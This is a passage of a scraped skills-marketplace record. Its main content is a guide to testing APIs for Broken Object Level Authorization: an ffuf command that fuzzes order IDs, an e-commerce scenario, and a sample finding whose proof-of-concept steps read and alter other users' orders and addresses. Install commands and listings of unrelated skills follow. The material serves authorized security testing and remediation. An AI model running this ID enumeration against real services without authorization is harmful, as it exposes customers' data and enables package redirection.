https:\u002F\u002Fapi.example.com\u002Forders\u002FFUZZ -w ids.txt -H \"Authorization: Bearer token\"`\n\n## Common Scenarios\n\n### Scenario: E-Commerce API BOLA Assessment\n\n**Context**: An e-commerce platform exposes a REST API for its mobile app. The API uses sequential integer IDs for orders, users, and addresses. Two test accounts are provided: a regular customer (User A, ID 1001) and another customer (User B, ID 1002).\n\n**Approach**:\n1. Map all endpoints from the Swagger spec at `\u002Fapi\u002Fdocs`: identify 47 endpoints, 23 of which take object IDs\n2. Capture User A's requests for their own resources: profile, orders, addresses, payment methods, wishlist\n3. Replace User A's object IDs with User B's IDs systematically across all 23 endpoints\n4. Find that `GET \u002Fapi\u002Fv1\u002Forders\u002F{id}` returns any order regardless of ownership (BOLA on read)\n5. Find that `PATCH \u002Fapi\u002Fv1\u002Faddresses\u002F{id}` allows modifying any user's address (BOLA on write)\n6. Find that `GET \u002Fapi\u002Fv1\u002Fusers\u002F{id}\u002Fpayment-methods` leaks payment card last-four digits for any user\n7. Test batch endpoint `POST \u002Fapi\u002Fv1\u002Forders\u002Fexport` - accepts array of order IDs and exports all without ownership check\n8. Verify that `DELETE \u002Fapi\u002Fv1\u002Forders\u002F{id}` correctly returns 403 for non-owned orders (authorization enforced)\n\n**Pitfalls**:\n- Only testing GET requests and missing BOLA in PUT\u002FPATCH\u002FDELETE methods that allow data modification or destruction\n- Assuming UUIDs prevent BOLA - UUIDs are less predictable but can be leaked in API responses, logs, or URL parameters\n- Not testing nested resource paths where authorization may be checked on the parent but not the child resource\n- Missing BOLA in bulk\u002Fbatch endpoints that accept arrays of object IDs\n- Not considering that different API versions (v1 vs v2) may have different authorization implementations\n\n## Output Format\n\n```\n## Finding: Broken Object Level Authorization in Order API\n\n**ID**: API-BOLA-001\n**Severity**: High (CVSS 7.5)\n**OWASP API**: API1:2023 - Broken Object Level Authorization\n**Affected Endpoints**:\n  - GET \u002Fapi\u002Fv1\u002Forders\u002F{id}\n  - PATCH \u002Fapi\u002Fv1\u002Faddresses\u002F{id}\n  - GET \u002Fapi\u002Fv1\u002Fusers\u002F{id}\u002Fpayment-methods\n  - POST \u002Fapi\u002Fv1\u002Forders\u002Fexport\n\n**Description**:\nThe API does not enforce object-level authorization on order retrieval,\naddress modification, payment method viewing, or order export endpoints.\nAn authenticated user can access or modify any other user's resources by\nsubstituting object IDs in the request. Sequential integer IDs make\nenumeration trivial.\n\n**Proof of Concept**:\n1. Authenticate as User A (ID 1001): POST \u002Fapi\u002Fv1\u002Fauth\u002Flogin\n2. Retrieve User A's order: GET \u002Fapi\u002Fv1\u002Forders\u002F5001 -> 200 OK (legitimate)\n3. Access User B's order: GET \u002Fapi\u002Fv1\u002Forders\u002F5003 -> 200 OK (BOLA - returns full order details)\n4. Modify User B's address: PATCH \u002Fapi\u002Fv1\u002Faddresses\u002F2002 -> 200 OK (BOLA - address changed)\n\n**Impact**:\n- Read access to all 850,000+ customer orders including shipping addresses and order contents\n- Write access to any customer's delivery address, enabling package redirection\n- Exposure of partial payment card data for all customers\n\n**Remediation**:\n1. Implement object-level authorization middleware that verifies the authenticated user owns the requested resource\n2. Use authorization checks at the data access layer: `WHERE order.user_id = authenticated_user.id`\n3. Replace sequential integer IDs with UUIDs to reduce predictability (defense in depth, not a fix alone)\n4. Add authorization tests to the CI\u002FCD pipeline for every endpoint that accepts object IDs\n5. Implement rate limiting per user to slow enumeration attempts\n```\n",{"hide":57,"name":5,"source":58,"license":15,"description":7,"authorized_lab":53,"origin_frontmatter":59},true,"mukul975\u002FAnthropic-Cybersecurity-Skills","name: testing-api-for-broken-object-level-authorization | description: 'Tests REST and GraphQL APIs for Broken Object Level Authorization (BOLA\u002FIDOR) |   vulnerabilities where an authenticated user can access or modify resources belonging |   to other users by manipulating object identifiers in API requests. The tester intercepts |   API calls, identifies object ID parameters (numeric IDs, UUIDs, slugs), and systematically |   replaces them with IDs belonging to other users to determine if the s","main","4c6d8d65f3d6096e2fc25b0845e481dda73c2794",".claude\u002Fskills\u002Fcyber-testing-api-for-broken-object-level-authorization",0,"https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions","Building deterministic AI governance and continuity systems. Workflow architect + visual storyteller","2026-11-11 16:42:59",{"source":8,"skillName":5,"commands":69,"prompt":79,"zipAvailable":57},[70,73,76],{"tool":71,"command":72},"npx","npx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-testing-api-for-broken-object-level-authorization",{"tool":74,"command":75},"bunx","bunx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-testing-api-for-broken-object-level-authorization",{"tool":77,"command":78},"pnpm","pnpm dlx skills add nexuslinkproductions\u002Fyuri-os --skill cyber-testing-api-for-broken-object-level-authorization","安装技能，技能地址：https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002F.claude\u002Fskills\u002Fcyber-testing-api-for-broken-object-level-authorization\u002FSKILL.md",[],[82,104,127,155,180,199],{"skillNo":83,"name":84,"nameZh":6,"description":85,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":87,"categories":88,"keywords":89,"publishedAt":52},"01M71CG1AME5WC0A79AE65WT0X","zoom-out","Tell the agent to zoom out and give broader context or a higher-level perspective. Use when you're unfamiliar with a section of code or need to understand how it fits into the bigger picture.","MIT","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fzoom-out\u002FSKILL.md",[],[90,91,40,92,93,94,95,44,96,97,98,99,100,101,102,103],"zoom out","zoom","harness","how","section","re","understand","use","perspective","when","you","code","it","context",{"skillNo":105,"name":106,"nameZh":6,"description":107,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":108,"categories":109,"keywords":110,"publishedAt":52},"01M71CFY9ATD0BAXV6B14HFG7C","yuri-shura","6-perspective adversarial review for high-stakes turns (architecture decisions, refactor planning, deployment review) — fans out architect, adversary (7-vector attack), maintainer, ops, product, and security perspectives in parallel, then consolidates. Use when user says 'review this decision', '\u002Fshura', 'adversarial review', 'what could go wrong', 'architecture review', or 'deployment review'.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-shura\u002FSKILL.md",[],[111,112,92,113,114,34,115,116,117,118,119,97,120,99,121,122,123,124,125,126],"yuri shura","parallel","architecture review","planning","deployment","vector","strategic review","decision","strategic","ops","workflow","decisions","architecture","review","perspectives","adversarial",{"skillNo":128,"name":129,"nameZh":6,"description":130,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":131,"categories":132,"keywords":136,"publishedAt":52},"01M71CFTTYW1HA2MNX38EV1GJ5","yuri-sales-intelligence","Unified sales and outreach skill generating cold outreach openers, social selling sequences, objection rebuttals, and ad creative for any paid platform — multi-persona aware, adapting tone and offer frame to buyer type. Use when user says 'write a cold email', 'outreach sequence', 'objection handling', 'ad copy', or 'sales pitch'.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-sales-intelligence\u002FSKILL.md",[133],{"categoryNo":134,"categoryName":135,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000005","邮件与沟通",[137,138,139,140,141,142,143,144,145,99,146,147,148,149,150,151,152,34,153,154],"intelligence","sales intelligence","yuri sales intelligence","sales","cold","paid","social","persona","pitch","cold email","ad creative","write","sequences","sequence","platform","email","cold outreach","frame",{"skillNo":156,"name":157,"nameZh":6,"description":158,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":159,"categories":160,"keywords":165,"publishedAt":52},"01M71CFQMBFTFADJNGP0Z2WCYK","yuri-code-intelligence","Unified code quality intelligence layer that diagnoses code smells (Long Method, Feature Envy, design pattern issues), prescribes targeted Fowler refactoring techniques, and reviews code for security, performance, and clarity. Use when user says 'review this code', 'refactor this', 'what's wrong with this method', 'code smells', or 'clean this up'.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-code-intelligence\u002FSKILL.md",[161,164],{"categoryNo":162,"categoryName":163,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000007","代码审查",{"categoryNo":27,"categoryName":28,"taxonomyType":29,"taxonomyTypeDesc":30},[166,101,167,137,92,168,169,170,34,171,172,173,174,175,176,177,178,179,97,99],"yuri code intelligence","code intelligence","reviews","code quality","feature","performance","code review","long","up","issues","clean","techniques","improve","design",{"skillNo":181,"name":182,"nameZh":6,"description":183,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":184,"categories":185,"keywords":186,"publishedAt":52},"01M71CFP32RT6GD3GKNHCJP8VP","yuri-adw","Invoke when user asks to run the ADW loop \u002F agentic engineering loop \u002F software factory workflow.","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fyuri-adw\u002FSKILL.md",[],[187,188,189,190,191,192,193,194,195,99,196,121,197,198],"yuri adw","run","engineering loop","software factory","software","agentic engineering","factory","loop","invoke","engineering","agentic","user",{"skillNo":200,"name":201,"nameZh":6,"description":202,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":12,"repositoryNo":13,"starsCount":14,"licenseSpdxId":86,"licenseFileUrl":6,"sourceHtmlUrl":203,"categories":204,"keywords":215,"publishedAt":52},"01M71CFK4VPEKY6A73237P7RSN","writing-skills","Use when creating new skills, editing existing skills, or verifying skills work before deployment","https:\u002F\u002Fgithub.com\u002Fnexuslinkproductions\u002Fyuri-os\u002Fblob\u002Fmain\u002Fskills\u002Fwriting-skills\u002FSKILL.md",[205,206,209,212],{"categoryNo":19,"categoryName":20,"taxonomyType":21,"taxonomyTypeDesc":22},{"categoryNo":207,"categoryName":208,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000018","写作与文案",{"categoryNo":210,"categoryName":211,"taxonomyType":21,"taxonomyTypeDesc":22},"01JBSEEDCAT000000000000023","Skill与智能体开发",{"categoryNo":213,"categoryName":214,"taxonomyType":29,"taxonomyTypeDesc":30},"01JBSEEDCAT000000000000036","内容创作者",[216,217,218,99,121,219,92,220,115,97,221],"writing","writing skills","new","work","editing","Existing"]